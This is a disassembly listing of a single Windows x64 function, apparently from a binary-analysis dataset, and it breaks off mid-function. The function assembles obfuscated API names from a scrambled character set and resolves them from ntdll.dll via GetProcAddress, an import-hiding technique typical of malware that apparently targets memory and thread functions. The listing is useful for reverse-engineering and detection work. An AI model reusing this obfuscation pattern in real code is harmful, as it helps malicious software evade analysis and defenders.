Function at 0x403077
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rbx
mov eax, 0x2ad8
call fcn.00414c90
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00413810
call fcn.004015c0
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x3df]
lea rax, [rbp + 0x3b0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x00705318]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x330]
lea rdx, [rbp + 0x350]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x310]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea r8, [0x00705324]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x270]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x230]
lea rdx, [rbp + 0x250]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x0070532c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x190]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x170]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x130]
lea rdx, [rbp + 0x150]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x130]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xf0]
lea rdx, [rbp + 0x110]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x230]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x250]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x310]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730048], rax
lea rax, [rbp + 0x66f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x66f]
lea rax, [rbp + 0x640]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
lea r8, [0x00705332]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x600]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5e0]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x5a0]
lea rdx, [rbp + 0x5c0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x580]
lea rdx, [rbp + 0x5a0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x560]
lea rdx, [rbp + 0x580]
lea r8, [0x00705324]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x540]
lea rdx, [rbp + 0x560]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x520]
lea rdx, [rbp + 0x540]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x4e0]
lea rdx, [rbp + 0x500]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x4c0]
lea rdx, [rbp + 0x4e0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x0070532c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x440]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x400]
lea rdx, [rbp + 0x420]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x3e0]
lea rdx, [rbp + 0x400]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x3e0]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x540]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x560]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x580]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x5a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x5c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x66f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730050], rax
lea rax, [rbp + 0x93f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x93f]
lea rax, [rbp + 0x910]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x8d0]
lea rdx, [rbp + 0x8f0]
lea r8, [0x00705334]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x870]
lea rdx, [rbp + 0x890]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x810]
lea rdx, [rbp + 0x830]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x7f0]
lea rdx, [rbp + 0x810]
lea r8, [0x00705324]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x770]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, [0x0070532c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x6f0]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x6b0]
lea rdx, [rbp + 0x6d0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x690]
lea rdx, [rbp + 0x6b0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x670]
lea rdx, [rbp + 0x690]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x670]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x670]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x690]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x770]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x790]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x7b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x7d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x7f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x810]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x830]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x850]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x870]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x890]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x8b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x93f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730058], rax
lea rax, [rbp + 0xb4f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0xb4f]
lea rax, [rbp + 0xb20]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0xb00]
lea rdx, [rbp + 0xb20]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xae0]
lea rdx, [rbp + 0xb00]
lea r8, [0x00705336]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xac0]
lea rdx, [rbp + 0xae0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0xac0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0xaa0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0xa80]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x00705338]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x0070533a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x9c0]
lea rdx, [rbp + 0x9e0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x9a0]
lea rdx, [rbp + 0x9c0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x980]
lea rdx, [rbp + 0x9a0]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x960]
lea rdx, [rbp + 0x980]
lea r8, [0x0070533e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x940]
lea rdx, [rbp + 0x960]
lea r8, [0x00705340]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x940]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x940]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x960]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x980]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xa60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xa80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xaa0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xac0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xae0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xb4f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730060], rax
lea rax, [rbp + 0xd1f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0xd1f]
lea rax, [rbp + 0xcf0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0xcd0]
lea rdx, [rbp + 0xcf0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xcb0]
lea rdx, [rbp + 0xcd0]
lea r8, [0x00705342]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xc90]
lea rdx, [rbp + 0xcb0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xc70]
lea rdx, [rbp + 0xc90]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xbf0]
lea rdx, [rbp + 0xc10]
lea r8, [0x00705338]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xbd0]
lea rdx, [rbp + 0xbf0]
lea r8, [0x0070533a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xbb0]
lea rdx, [rbp + 0xbd0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xb90]
lea rdx, [rbp + 0xbb0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xb70]
lea rdx, [rbp + 0xb90]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xb50]
lea rdx, [rbp + 0xb70]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0xb50]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0xb50]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xb70]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xb90]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xc90]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xcb0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xcd0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xd1f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730068], rax
lea rax, [rbp + 0xfcf]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0xfcf]
lea rax, [rbp + 0xfa0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xf60]
lea rdx, [rbp + 0xf80]
lea r8, [0x00705332]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xf40]
lea rdx, [rbp + 0xf60]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xf20]
lea rdx, [rbp + 0xf40]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xf00]
lea rdx, [rbp + 0xf20]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xee0]
lea rdx, [rbp + 0xf00]
lea r8, [0x00705346]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xec0]
lea rdx, [rbp + 0xee0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xea0]
lea rdx, [rbp + 0xec0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea r8, [0x00705348]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xe60]
lea rdx, [rbp + 0xe80]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x0070534c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x0070534e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xda0]
lea rdx, [rbp + 0xdc0]
lea r8, [0x00705350]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
lea r8, [0x00705352]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xd60]
lea rdx, [rbp + 0xd80]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xd40]
lea rdx, [rbp + 0xd60]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xd20]
lea rdx, [rbp + 0xd40]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0xd20]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xd60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xd80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xe80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xea0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xec0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xee0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xf00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xf20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xf40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xf60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xf80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xfa0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xfcf]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730070], rax
lea rax, [rbp + 0x12ff]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x12ff]
lea rax, [rbp + 0x12d0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x12b0]
lea rdx, [rbp + 0x12d0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1290]
lea rdx, [rbp + 0x12b0]
lea r8, [0x00705354]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1270]
lea rdx, [rbp + 0x1290]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1250]
lea rdx, [rbp + 0x1270]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1230]
lea rdx, [rbp + 0x1250]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1210]
lea rdx, [rbp + 0x1230]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x11f0]
lea rdx, [rbp + 0x1210]
lea r8, [0x00705356]
mov rcx, rax
call fcn.004b3730
